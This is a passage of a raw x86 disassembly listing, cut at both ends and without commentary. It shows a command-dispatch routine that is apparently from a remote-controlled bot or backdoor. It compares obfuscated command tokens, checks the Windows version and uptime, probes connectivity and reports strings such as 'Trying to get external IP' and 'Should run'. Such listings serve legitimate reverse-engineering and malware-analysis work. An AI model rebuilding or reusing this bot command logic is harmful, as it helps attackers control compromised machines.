pop ecx
jnz short loc_412FCB
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_412FCB
mov ecx, [ebp+arg_10]
call sub_41DA92
push eax
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jz short loc_412FF4
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_412FCB: ; CODE XREF: sub_40A938+8667j
; sub_40A938+867Aj
mov ecx, [ebp+arg_10]
call sub_41DA92
push eax
call sub_42AE50
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42AE50
pop ecx
push eax
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz loc_4148CF
loc_412FF4: ; CODE XREF: sub_40A938+8654j
; sub_40A938+868Cj
cmp [ebp+arg_68], 0
jz short loc_413060
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413037
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413037
mov ecx, [ebp+arg_10]
call sub_41DA92
push eax
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jnz short loc_413060
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_413037: ; CODE XREF: sub_40A938+86D3j
; sub_40A938+86E6j
mov ecx, [ebp+arg_10]
call sub_41DA92
push eax
call sub_42AE50
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42AE50
pop ecx
push eax
call sub_427A85
pop ecx
test eax, eax
pop ecx
jnz loc_4148CF
loc_413060: ; CODE XREF: sub_40A938+864Bj
; sub_40A938+86C0j ...
push dword ptr [ebx+4]
push offset aM08se_kt9td1 ; "M08SE.Kt9tD1"
call edi ; dword_437174
test eax, eax
jnz loc_41313A
cmp [ebp+arg_C], eax
jz short loc_4130DD
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130B4
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130B4
mov ecx, [ebp+arg_10]
call sub_41DA96
push eax
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jz short loc_4130DD
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4130B4: ; CODE XREF: sub_40A938+8750j
; sub_40A938+8763j
mov ecx, [ebp+arg_10]
call sub_41DA96
push eax
call sub_42AE50
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42AE50
pop ecx
push eax
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz loc_4148CF
loc_4130DD: ; CODE XREF: sub_40A938+873Dj
; sub_40A938+8775j
cmp [ebp+arg_68], 0
jz loc_4139D3
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_41311B
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_41311B
mov ecx, [ebp+arg_10]
call sub_41DA96
push eax
jmp loc_41397C
; ---------------------------------------------------------------------------
loc_41311B: ; CODE XREF: sub_40A938+87C0j
; sub_40A938+87D3j
mov ecx, [ebp+arg_10]
call sub_41DA96
push eax
loc_413124: ; CODE XREF: sub_40A938+8945j
call sub_42AE50
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42AE50
pop ecx
push eax
jmp loc_413992
; ---------------------------------------------------------------------------
loc_41313A: ; CODE XREF: sub_40A938+8734j
push dword ptr [ebx+4]
push offset a3eowx2ocng ; "3eowX/2OCnG/"
call edi ; dword_437174
test eax, eax
jnz loc_413282
push offset byte_454A34
push offset dword_457C20
call edi ; dword_437174
test eax, eax
jz short loc_41316B
push offset dword_457C20
call sub_41E3FB
test eax, eax
pop ecx
jz short loc_4131DA
loc_41316B: ; CODE XREF: sub_40A938+8822j
xor eax, eax
cmp [ebp+arg_14], eax
jnz short loc_413194
cmp [ebp+arg_18], eax
jnz short loc_41319A
cmp [ebp+arg_20], eax
jz short loc_4131B1
push offset aPtami1_agv ; "PTaMI1/.aGV/"
push offset aSTryingToGetEx ; "%s Trying to get external IP."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_413194: ; CODE XREF: sub_40A938+8838j
cmp [ebp+arg_18], 0
jz short loc_4131B1
loc_41319A: ; CODE XREF: sub_40A938+883Dj
push offset aPtami1_agv ; "PTaMI1/.aGV/"
push offset aSTryingToGetEx ; "%s Trying to get external IP."
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 10h
loc_4131B1: ; CODE XREF: sub_40A938+8842j
; sub_40A938+8860j
mov ecx, [ebp+arg_10]
call sub_41DA92
mov ecx, [ebp+arg_10]
push eax
call sub_41CE5F
push 1388h
push eax
mov dword ptr [ebp+var_C+4], eax
call dword_43707C ; WaitForSingleObject
push dword ptr [ebp+var_C+4]
call dword_437044 ; CloseHandle
loc_4131DA: ; CODE XREF: sub_40A938+8831j
cmp [ebp+arg_C], 0
jz short loc_41323E
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413219
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413219
push offset dword_457C38
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jz short loc_41323E
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_413219: ; CODE XREF: sub_40A938+88B9j
; sub_40A938+88CCj
push offset dword_457C38
call sub_42AE50
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42AE50
pop ecx
push eax
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz loc_4148CF
loc_41323E: ; CODE XREF: sub_40A938+88A6j
; sub_40A938+88DAj
cmp [ebp+arg_68], 0
jz loc_4139D3
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413278
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413278
push offset dword_457C38
jmp loc_41397C
; ---------------------------------------------------------------------------
loc_413278: ; CODE XREF: sub_40A938+8921j
; sub_40A938+8934j
push offset dword_457C38
jmp loc_413124
; ---------------------------------------------------------------------------
loc_413282: ; CODE XREF: sub_40A938+880Ej
push dword ptr [ebx+4]
push offset aS3dyJzo6r ; "s3dY//JZo6r/"
call edi ; dword_437174
test eax, eax
jnz short loc_4132BB
cmp [ebp+arg_C], eax
jz short loc_4132A7
push offset a3c9 ; "]&3c9"
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jnz loc_4148CF
loc_4132A7: ; CODE XREF: sub_40A938+895Bj
cmp [ebp+arg_68], 0
jz loc_4139D3
push offset a3c9 ; "]&3c9"
jmp loc_41397C
; ---------------------------------------------------------------------------
loc_4132BB: ; CODE XREF: sub_40A938+8956j
push dword ptr [ebx+4]
push offset aUwher1dagd80 ; "UWher1DAGD80"
call edi ; dword_437174
test eax, eax
jnz short loc_4132F4
cmp [ebp+arg_C], eax
jz short loc_4132E0
push offset dword_4439A4
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jnz loc_4148CF
loc_4132E0: ; CODE XREF: sub_40A938+8994j
cmp [ebp+arg_68], 0
jz loc_4139D3
push offset dword_4439A4
jmp loc_41397C
; ---------------------------------------------------------------------------
loc_4132F4: ; CODE XREF: sub_40A938+898Fj
push dword ptr [ebx+4]
push offset aPnb_aBfzu60 ; "pNb.a/Bfzu60"
call edi ; dword_437174
test eax, eax
jnz short loc_41330A
call dword_437184 ; GetTickCount
jmp short loc_413369
; ---------------------------------------------------------------------------
loc_41330A: ; CODE XREF: sub_40A938+89C8j
push dword ptr [ebx+4]
push offset aZu2s6_o7_yt ; "Zu2s6.O7.yt/"
call edi ; dword_437174
test eax, eax
jnz short loc_413356
call dword_437184 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov edi, 3E8h
push 3Ch
mov ecx, eax
mov eax, dword_457F40
div edi
xor edx, edx
sub ecx, eax
mov eax, ecx
mov ecx, 15180h
div ecx
mov ecx, 0E10h
mov eax, edx
xor edx, edx
div ecx
pop ecx
mov eax, edx
jmp short loc_41336E
; ---------------------------------------------------------------------------
loc_413356: ; CODE XREF: sub_40A938+89DEj
push dword ptr [ebx+4]
push offset a4hftz6holr ; "4hftZ/6HOlR/"
call edi ; dword_437174
test eax, eax
jnz short loc_4133AB
call sub_41BC27
loc_413369: ; CODE XREF: sub_40A938+89D0j
mov ecx, 5265C00h
loc_41336E: ; CODE XREF: sub_40A938+8A1Cj
xor edx, edx
div ecx
cmp [ebp+arg_C], 0
mov edi, eax
jz short loc_41338B
push dword ptr [ebx+8]
call sub_42A030
cmp edi, eax
pop ecx
jb loc_4148CF
loc_41338B: ; CODE XREF: sub_40A938+8A40j
cmp [ebp+arg_68], 0
jz loc_4139D3
push dword ptr [ebx+8]
call sub_42A030
cmp edi, eax
pop ecx
jbe loc_4139D3
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4133AB: ; CODE XREF: sub_40A938+8A2Aj
push dword ptr [ebx+4]
push offset aYqrdp_9rf4u0 ; "yqrdP.9rF4U0"
call edi ; dword_437174
test eax, eax
jnz short loc_4133F1
cmp [ebp+arg_C], eax
mov [ebp+arg_8], 2
jz short loc_4133D8
push offset dword_457CD8
call sub_41E3FB
test eax, eax
pop ecx
jz loc_4148CF
loc_4133D8: ; CODE XREF: sub_40A938+8A8Bj
cmp [ebp+arg_68], 0
jz loc_4139D3
push offset dword_457CD8
call sub_41E3FB
jmp loc_413998
; ---------------------------------------------------------------------------
loc_4133F1: ; CODE XREF: sub_40A938+8A7Fj
push dword ptr [ebx+4]
push offset a1uyis15kh_n1 ; "1UyIs15KH.n1"
call edi ; dword_437174
test eax, eax
jnz short loc_413437
xor edi, edi
mov [ebp+arg_8], 2
cmp dword_457030, edi
jnz loc_4148CF
push edi
push edi
lea eax, [ebp+var_3C]
push edi
push eax
call dword_456D94 ; InternetGetConnectedStateExA
test [ebp+var_3C], 1
jz short loc_41342F
cmp [ebp+arg_68], edi
jmp loc_41399B
; ---------------------------------------------------------------------------
loc_41342F: ; CODE XREF: sub_40A938+8AEDj
cmp [ebp+arg_C], edi
jmp loc_41399B
; ---------------------------------------------------------------------------
loc_413437: ; CODE XREF: sub_40A938+8AC5j
push dword ptr [ebx+4]
push offset a9ljbh07crkd__0 ; "9lJBH07crkD."
call edi ; dword_437174
test eax, eax
jnz loc_413535
cmp [ebp+arg_C], eax
jz short loc_4134B8
push dword ptr [ebx+8]
push offset aD0ron_ctdg0_ ; "D0roN.CTDg0."
call edi ; dword_437174
test eax, eax
jnz short loc_4134B8
push 8
call sub_423737
test eax, eax
pop ecx
jz loc_4148CF
push dword ptr [ebx+8]
push offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ."
call edi ; dword_437174
test eax, eax
jnz short loc_4134B8
push 0Dh
call sub_423737
test eax, eax
pop ecx
jz loc_4148CF
push dword ptr [ebx+8]
push offset aWbzcx0Dknt_ ; "wbZcx0/Dknt."
call edi ; dword_437174
test eax, eax
jnz short loc_4134B8
push 8
call sub_423737
test eax, eax
pop ecx
jnz loc_4148CF
push 0Dh
call sub_423737
test eax, eax
pop ecx
jnz loc_4148CF
loc_4134B8: ; CODE XREF: sub_40A938+8B14j
; sub_40A938+8B22j ...
cmp [ebp+arg_68], 0
jz loc_4139D3
push dword ptr [ebx+8]
push offset aD0ron_ctdg0_ ; "D0roN.CTDg0."
call edi ; dword_437174
test eax, eax
jnz loc_4139D3
push 8
call sub_423737
test eax, eax
pop ecx
jnz loc_4148CF
push dword ptr [ebx+8]
push offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ."
call edi ; dword_437174
test eax, eax
jnz loc_4139D3
push 0Dh
call sub_423737
test eax, eax
pop ecx
jnz loc_4148CF
push dword ptr [ebx+8]
push offset aWbzcx0Dknt_ ; "wbZcx0/Dknt."
call edi ; dword_437174
test eax, eax
jnz loc_4139D3
push 8
call sub_423737
test eax, eax
pop ecx
jnz loc_4139D3
push 0Dh
call sub_423737
pop ecx
jmp loc_413981
; ---------------------------------------------------------------------------
loc_413535: ; CODE XREF: sub_40A938+8B0Bj
push dword ptr [ebx+4]
push offset aNyjsr1cv5ch0 ; "NyJsR1cV5CH0"
call edi ; dword_437174
test eax, eax
jnz loc_413835
lea eax, [ebp+var_208]
mov [ebp+var_208], 94h
push eax
call dword_437050 ; GetVersionExA
test eax, eax
jz loc_4139D3
cmp [ebp+arg_C], 0
jz loc_4136D0
push dword ptr [ebx+8]
push offset a95 ; "95"
call edi ; dword_437174
test eax, eax
jnz short loc_4135A3
cmp [ebp+var_204], 4
jnz loc_4148CF
cmp [ebp+var_200], eax
jnz loc_4148CF
cmp [ebp+var_1F8], 1
jmp loc_4136A5
; ---------------------------------------------------------------------------
loc_4135A3: ; CODE XREF: sub_40A938+8C44j
push dword ptr [ebx+8]
push offset aNt ; "nt"
call edi ; dword_437174
test eax, eax
jnz short loc_4135D6
cmp [ebp+var_204], 4
jnz loc_4148CF
cmp [ebp+var_200], eax
jnz loc_4148CF
cmp [ebp+var_1F8], 2
jmp loc_4136A5
; ---------------------------------------------------------------------------
loc_4135D6: ; CODE XREF: sub_40A938+8C77j
push dword ptr [ebx+8]
push offset a98 ; "98"
call edi ; dword_437174
test eax, eax
jnz short loc_4135FD
cmp [ebp+var_204], 4
jnz loc_4148CF
cmp [ebp+var_200], 0Ah
jmp loc_4136A5
; ---------------------------------------------------------------------------
loc_4135FD: ; CODE XREF: sub_40A938+8CAAj
push dword ptr [ebx+8]
push offset aMe ; "me"
call edi ; dword_437174
test eax, eax
jnz short loc_413624
cmp [ebp+var_204], 4
jnz loc_4148CF
cmp [ebp+var_200], 5Ah
jmp loc_4136A5
; ---------------------------------------------------------------------------
loc_413624: ; CODE XREF: sub_40A938+8CD1j
push dword ptr [ebx+8]
push offset a2k_0 ; "2k"
call edi ; dword_437174
test eax, eax
jnz short loc_41363B
cmp [ebp+var_204], 5
jmp short loc_413698
; ---------------------------------------------------------------------------
loc_41363B: ; CODE XREF: sub_40A938+8CF8j
push dword ptr [ebx+8]
push offset aXp_0 ; "xp"
call edi ; dword_437174
test eax, eax
jnz short loc_41365F
cmp [ebp+var_204], 5
jnz loc_4148CF
cmp [ebp+var_200], 1
jmp short loc_4136A5
; ---------------------------------------------------------------------------
loc_41365F: ; CODE XREF: sub_40A938+8D0Fj
push dword ptr [ebx+8]
push offset a2k3 ; "2k3"
call edi ; dword_437174
test eax, eax
jnz short loc_413683
cmp [ebp+var_204], 5
jnz loc_4148CF
cmp [ebp+var_200], 2
jmp short loc_4136A5
; ---------------------------------------------------------------------------
loc_413683: ; CODE XREF: sub_40A938+8D33j
push dword ptr [ebx+8]
push offset aVista ; "vista"
call edi ; dword_437174
test eax, eax
jnz short loc_4136AC
cmp [ebp+var_204], 6
loc_413698: ; CODE XREF: sub_40A938+8D01j
jnz loc_4148CF
cmp [ebp+var_200], 0
loc_4136A5: ; CODE XREF: sub_40A938+8C66j
; sub_40A938+8C99j ...
jz short loc_4136D0
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4136AC: ; CODE XREF: sub_40A938+8D57j
push dword ptr [ebx+8]
push offset a7 ; "7"
call edi ; dword_437174
test eax, eax
jnz short loc_4136D0
cmp [ebp+var_204], 6
jnz short loc_4136D0
inc eax
cmp [ebp+var_200], eax
jz loc_4148D2
loc_4136D0: ; CODE XREF: sub_40A938+8C32j
; sub_40A938:loc_4136A5j ...
cmp [ebp+arg_68], 0
jz loc_4139D3
push dword ptr [ebx+8]
push offset a95 ; "95"
call edi ; dword_437174
test eax, eax
jnz short loc_41370D
cmp [ebp+var_204], 4
jnz loc_4139D3
cmp [ebp+var_200], eax
jnz loc_4139D3
cmp [ebp+var_1F8], 1
jmp loc_413983
; ---------------------------------------------------------------------------
loc_41370D: ; CODE XREF: sub_40A938+8DAEj
push dword ptr [ebx+8]
push offset aNt ; "nt"
call edi ; dword_437174
test eax, eax
jnz short loc_413740
cmp [ebp+var_204], 4
jnz loc_4139D3
cmp [ebp+var_200], eax
jnz loc_4139D3
cmp [ebp+var_1F8], 2
jmp loc_413983
; ---------------------------------------------------------------------------
loc_413740: ; CODE XREF: sub_40A938+8DE1j
push dword ptr [ebx+8]
push offset a98 ; "98"
call edi ; dword_437174
test eax, eax
jnz short loc_413767
cmp [ebp+var_204], 4
jnz loc_4139D3
cmp [ebp+var_200], 0Ah
jmp loc_413983
; ---------------------------------------------------------------------------
loc_413767: ; CODE XREF: sub_40A938+8E14j
push dword ptr [ebx+8]
push offset aMe ; "me"
call edi ; dword_437174
test eax, eax
jnz short loc_41378E
cmp [ebp+var_204], 4
jnz loc_4139D3
cmp [ebp+var_200], 5Ah
jmp loc_413983
; ---------------------------------------------------------------------------
loc_41378E: ; CODE XREF: sub_40A938+8E3Bj
push dword ptr [ebx+8]
push offset a2k_0 ; "2k"
call edi ; dword_437174
test eax, eax
jnz short loc_4137B5
cmp [ebp+var_204], 5
loc_4137A3: ; CODE XREF: sub_40A938+8EE0j
jnz loc_4139D3
cmp [ebp+var_200], 0
jmp loc_413983
; ---------------------------------------------------------------------------
loc_4137B5: ; CODE XREF: sub_40A938+8E62j
push dword ptr [ebx+8]
push offset aXp_0 ; "xp"
call edi ; dword_437174
test eax, eax
jnz short loc_4137DC
cmp [ebp+var_204], 5
loc_4137CA: ; CODE XREF: sub_40A938+8EFBj
jnz loc_4139D3
cmp [ebp+var_200], 1
jmp loc_413983
; ---------------------------------------------------------------------------
loc_4137DC: ; CODE XREF: sub_40A938+8E89j
push dword ptr [ebx+8]
push offset a2k3 ; "2k3"
call edi ; dword_437174
test eax, eax
jnz short loc_413803
cmp [ebp+var_204], 5
jnz loc_4139D3
cmp [ebp+var_200], 2
jmp loc_413983
; ---------------------------------------------------------------------------
loc_413803: ; CODE XREF: sub_40A938+8EB0j
push dword ptr [ebx+8]
push offset aVista ; "vista"
call edi ; dword_437174
test eax, eax
jnz short loc_41381A
cmp [ebp+var_204], 6
jmp short loc_4137A3
; ---------------------------------------------------------------------------
loc_41381A: ; CODE XREF: sub_40A938+8ED7j
push dword ptr [ebx+8]
push offset a7 ; "7"
call edi ; dword_437174
test eax, eax
jnz loc_4139D3
cmp [ebp+var_204], 6
jmp short loc_4137CA
; ---------------------------------------------------------------------------
loc_413835: ; CODE XREF: sub_40A938+8C09j
push dword ptr [ebx+4]
push offset aI6sd4ctzn0 ; "/I6sD/4CTzn0"
call edi ; dword_437174
test eax, eax
jnz loc_4138E0
cmp [ebp+arg_C], eax
jz short loc_41389C
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413885
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413885
push offset dword_457CD8
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jz short loc_41389C
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_413885: ; CODE XREF: sub_40A938+8F25j
; sub_40A938+8F38j
push offset dword_457CD8
push dword ptr [ebx+8]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz loc_4148CF
loc_41389C: ; CODE XREF: sub_40A938+8F12j
; sub_40A938+8F46j
cmp [ebp+arg_68], 0
jz loc_4139D3
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4138D6
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_4138D6
push offset dword_457CD8
jmp loc_41397C
; ---------------------------------------------------------------------------
loc_4138D6: ; CODE XREF: sub_40A938+8F7Fj
; sub_40A938+8F92j
push offset dword_457CD8
jmp loc_41398F
; ---------------------------------------------------------------------------
loc_4138E0: ; CODE XREF: sub_40A938+8F09j
push dword ptr [ebx+4]
push offset aWrlthN3uh_1 ; "WRlth/n3Uh.1"
call edi ; dword_437174
test eax, eax
jnz loc_4139A2
cmp [ebp+arg_C], eax
jz short loc_413947
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413930
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_413930
push offset dword_457C20
push dword ptr [ebx+8]
call edi ; dword_437174
test eax, eax
jz short loc_413947
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_413930: ; CODE XREF: sub_40A938+8FD0j
; sub_40A938+8FE3j
push offset dword_457C20
push dword ptr [ebx+8]
call sub_427A85
pop ecx
test eax, eax
pop ecx
jz loc_4148CF
loc_413947: ; CODE XREF: sub_40A938+8FBDj
; sub_40A938+8FF1j
cmp [ebp+arg_68], 0
jz loc_4139D3
push offset dword_43D664
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_41398A
push offset a? ; "?"
push dword ptr [ebx+8]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_41398A
push offset dword_457C20
loc_41397C: ; CODE XREF: sub_40A938+87DEj
; sub_40A938+893Bj ...
push dword ptr [ebx+8]
call edi ; dword_437174
loc_413981: ; CODE XREF: sub_40A938+8BF8j
test eax, eax
loc_413983: ; CODE XREF: sub_40A938+8DD0j
; sub_40A938+8E03j ...
jnz short loc_4139D3
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_41398A: ; CODE XREF: sub_40A938+902Aj
; sub_40A938+903Dj
push offset dword_457C20
loc_41398F: ; CODE XREF: sub_40A938+8FA3j
push dword ptr [ebx+8]
loc_413992: ; CODE XREF: sub_40A938+87FDj
call sub_427A85
pop ecx
loc_413998: ; CODE XREF: sub_40A938+8AB4j
pop ecx
loc_413999: ; CODE XREF: sub_40A938+9099j
test eax, eax
loc_41399B: ; CODE XREF: sub_40A938+8AF2j
; sub_40A938+8AFAj
jz short loc_4139D3
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4139A2: ; CODE XREF: sub_40A938+8FB4j
push dword ptr [ebx+4]
push offset aYqjsn0wtutn1 ; "yQJsn0wtUtn1"
call edi ; dword_437174
test eax, eax
jnz loc_413B86
cmp [ebp+arg_C], eax
mov eax, dword_456D88
mov [ebp+arg_8], 2
jz short loc_4139CD
test eax, eax
jz loc_4148CF
loc_4139CD: ; CODE XREF: sub_40A938+908Bj
cmp [ebp+arg_68], 0
jnz short loc_413999
loc_4139D3: ; CODE XREF: sub_40A938+87A9j
; sub_40A938+890Aj ...
mov edi, [ebp+arg_8]
mov eax, [ebx+edi*4]
test eax, eax
jnz short loc_413A1B
cmp [ebp+arg_14], eax
mov edi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_413A06
cmp [ebp+arg_18], eax
jnz short loc_413A10
push ebx
push offset aPtami1_agv ; "PTaMI1/.aGV/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_413A06: ; CODE XREF: sub_40A938+90B2j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_413A10: ; CODE XREF: sub_40A938+90B7j
push ebx
push offset aPtami1_agv ; "PTaMI1/.aGV/"
jmp loc_40C7CB
; ---------------------------------------------------------------------------
loc_413A1B: ; CODE XREF: sub_40A938+90A3j
push eax
lea eax, [ebp+var_C130]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
jmp short loc_413A61
; ---------------------------------------------------------------------------
loc_413A32: ; CODE XREF: sub_40A938+912Dj
mov eax, [ebx+edi*4]
test eax, eax
jz short loc_413A61
push eax
lea eax, [ebp+var_6DBB0]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_6DBB0]
push eax
lea eax, [ebp+var_C130]
push eax
call sub_42A510
add esp, 14h
loc_413A61: ; CODE XREF: sub_40A938+90F8j
; sub_40A938+90FFj
inc edi
cmp edi, [ebp+arg_4]
jl short loc_413A32
mov al, [ebp+var_C130]
cmp al, byte_443988
jz short loc_413AAE
cmp [ebp+arg_14], 0
mov ebx, offset aSFailedToParse ; "%s Failed to parse command."
jnz short loc_413A9A
cmp [ebp+arg_18], 0
jnz short loc_413AA4
push offset aPtami1_agv ; "PTaMI1/.aGV/"
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_413A9A: ; CODE XREF: sub_40A938+9146j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_413AA4: ; CODE XREF: sub_40A938+914Cj
push offset aPtami1_agv ; "PTaMI1/.aGV/"
jmp loc_40D202
; ---------------------------------------------------------------------------
loc_413AAE: ; CODE XREF: sub_40A938+913Bj
lea eax, [ebp+var_C130]
xor edi, edi
push eax
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_413B22
loc_413AC1: ; CODE XREF: sub_40A938+91E8j
lea eax, [ebp+edi+var_C130]
cmp byte ptr [eax], 5Fh
jnz short loc_413ADA
cmp [ebp+edi+var_C131], 20h
jnz short loc_413ADA
mov byte ptr [eax], 2Dh
loc_413ADA: ; CODE XREF: sub_40A938+9193j
; sub_40A938+919Dj
cmp byte ptr [eax], 2Bh
jnz short loc_413AEC
cmp [ebp+edi+var_C131], 20h
jnz short loc_413AEC
mov byte ptr [eax], 5Fh
loc_413AEC: ; CODE XREF: sub_40A938+91A5j
; sub_40A938+91AFj
cmp byte ptr [eax], 5Eh
jnz short loc_413AFE
cmp [ebp+edi+var_C131], 20h
jnz short loc_413AFE
mov byte ptr [eax], 2Bh
loc_413AFE: ; CODE XREF: sub_40A938+91B7j
; sub_40A938+91C1j
cmp byte ptr [eax], 60h
jnz short loc_413B10
cmp [ebp+edi+var_C131], 20h
jnz short loc_413B10
mov byte ptr [eax], 5Eh
loc_413B10: ; CODE XREF: sub_40A938+91C9j
; sub_40A938+91D3j
lea eax, [ebp+var_C130]
inc edi
push eax
call sub_4292D0
cmp edi, eax
pop ecx
jb short loc_413AC1
loc_413B22: ; CODE XREF: sub_40A938+9187j
xor ebx, ebx
mov edi, offset aSShouldRunS_ ; "%s Should run: \"%s\"."
cmp [ebp+arg_20], ebx
jz short loc_413B4E
cmp [ebp+arg_18], ebx
jnz short loc_413B53
lea eax, [ebp+var_C130]
push eax
push offset aPtami1_agv ; "PTaMI1/.aGV/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_413B4E: ; CODE XREF: sub_40A938+91F4j
cmp [ebp+arg_18], ebx
jz short loc_413B6D
loc_413B53: ; CODE XREF: sub_40A938+91F9j
lea eax, [ebp+var_C130]
push eax
push offset aPtami1_agv ; "PTaMI1/.aGV/"
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 14h
loc_413B6D: ; CODE XREF: sub_40A938+9219j
push ebx
lea eax, [ebp+var_C130]
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push eax
call sub_40A86F
jmp loc_4146D5
; ---------------------------------------------------------------------------
loc_413B86: ; CODE XREF: sub_40A938+9076j
xor eax, eax
mov edi, offset aPtami1_agv ; "PTaMI1/.aGV/"
cmp [ebp+arg_14], eax
mov ebx, offset aSFailedToParse ; "%s Failed to parse command."
jnz loc_40D1F7
cmp [ebp+arg_18], eax
jnz loc_40D201
cmp [ebp+arg_20], eax
jz loc_4148CF
jmp loc_40D1E7
; ---------------------------------------------------------------------------
loc_413BB2: ; CODE XREF: sub_40A938+85FBj
; sub_40A938+8604j
mov edi, offset aPtami1_agv ; "PTaMI1/.aGV/"
jmp loc_414695
; ---------------------------------------------------------------------------
loc_413BBC: ; CODE XREF: sub_40A938+6BC2j
; sub_40A938+6BD3j ...
xor eax, eax
cmp [ebx+4], eax
jz loc_413DD2
cmp [ebx+8], eax
jz loc_413DD2
cmp [ebx+0Ch], eax
jz loc_413DD2
cmp [ebx+10h], eax
jz loc_413DD2
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_413C36
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_413C1E
cmp [ebp+arg_18], 0
jnz short loc_413C28
push eax
push ebx
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_413C1E: ; CODE XREF: sub_40A938+92C8j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_413C28: ; CODE XREF: sub_40A938+92CEj
push [ebp+arg_C]
push ebx
loc_413C2C: ; CODE XREF: sub_40A938+9482j
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_413C36: ; CODE XREF: sub_40A938+92B8j
mov eax, [ebp+arg_14]
mov [ebp+var_1D80], eax
mov eax, [ebp+arg_18]
mov [ebp+var_1D84], eax
test eax, eax
lea eax, [ebp+var_1E18]
jnz short loc_413C57
push dword ptr [esi+0Ch]
jmp short loc_413C59
; ---------------------------------------------------------------------------
loc_413C57: ; CODE XREF: sub_40A938+9318j
push dword ptr [esi]
loc_413C59: ; CODE XREF: sub_40A938+931Dj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
